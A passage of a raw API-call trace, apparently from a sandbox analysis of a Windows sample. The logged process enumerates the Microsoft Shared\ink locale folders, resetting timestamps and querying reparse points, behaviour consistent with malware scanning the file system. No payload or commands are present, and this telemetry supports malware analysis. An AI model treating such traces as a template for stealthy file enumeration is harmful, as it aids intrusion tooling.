returned 1 [0264.054] NtClose (Handle=0x18c) returned 0x0 [0264.055] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.066] GetLastError () returned 0x12 [0264.066] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0264.066] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.069] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.069] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.069] NtClose (Handle=0x18c) returned 0x0 [0264.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.069] GetLastError () returned 0x12 [0264.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.069] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.069] GetLastError () returned 0x12 [0264.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0264.069] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.070] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.070] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.070] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.070] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.070] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.070] NtClose (Handle=0x190) returned 0x0 [0264.071] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.071] GetLastError () returned 0x12 [0264.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.071] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.071] GetLastError () returned 0x12 [0264.071] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0264.071] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.071] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.071] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.072] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.072] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.072] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.072] NtClose (Handle=0x18c) returned 0x0 [0264.072] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.072] GetLastError () returned 0x12 [0264.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.072] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.073] GetLastError () returned 0x12 [0264.073] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0264.073] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.073] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.073] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.073] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.074] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.074] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.074] NtClose (Handle=0x190) returned 0x0 [0264.074] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.074] GetLastError () returned 0x12 [0264.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.074] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.074] GetLastError () returned 0x12 [0264.074] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0264.074] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.075] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.075] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.075] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.077] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.077] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.077] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.077] NtClose (Handle=0x18c) returned 0x0 [0264.077] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.181] GetLastError () returned 0x12 [0264.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.182] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.182] GetLastError () returned 0x12 [0264.182] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0264.182] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.183] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.183] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.183] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.183] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.183] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.183] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.183] NtClose (Handle=0x190) returned 0x0 [0264.184] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.184] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.184] GetLastError () returned 0x12 [0264.184] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.184] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.184] GetLastError () returned 0x12 [0264.184] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0264.184] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.185] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.185] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.185] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.185] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x953130, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x953130, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.185] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x953130) returned 1 [0264.185] NtClose (Handle=0x18c) returned 0x0 [0264.186] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.186] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.361] GetLastError () returned 0x12 [0264.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.361] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.362] GetLastError () returned 0x12 [0264.362] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0264.362] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.363] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.363] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.363] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.364] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.364] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0264.364] NtClose (Handle=0x190) returned 0x0 [0264.364] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0264.364] GetLastError () returned 0x12 [0264.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0264.364] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.365] GetLastError () returned 0x12 [0264.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0264.365] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0264.365] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0264.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.084] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.085] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.085] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.085] NtClose (Handle=0x18c) returned 0x0 [0266.085] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.085] GetLastError () returned 0x12 [0266.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549080 [0266.085] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.086] GetLastError () returned 0x12 [0266.086] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0266.086] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.086] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.086] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.086] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.086] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x955c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x955c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.086] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955c78) returned 1 [0266.086] NtClose (Handle=0x190) returned 0x0 [0266.087] RtlFreeHeap (HeapHandle=0xa80000, 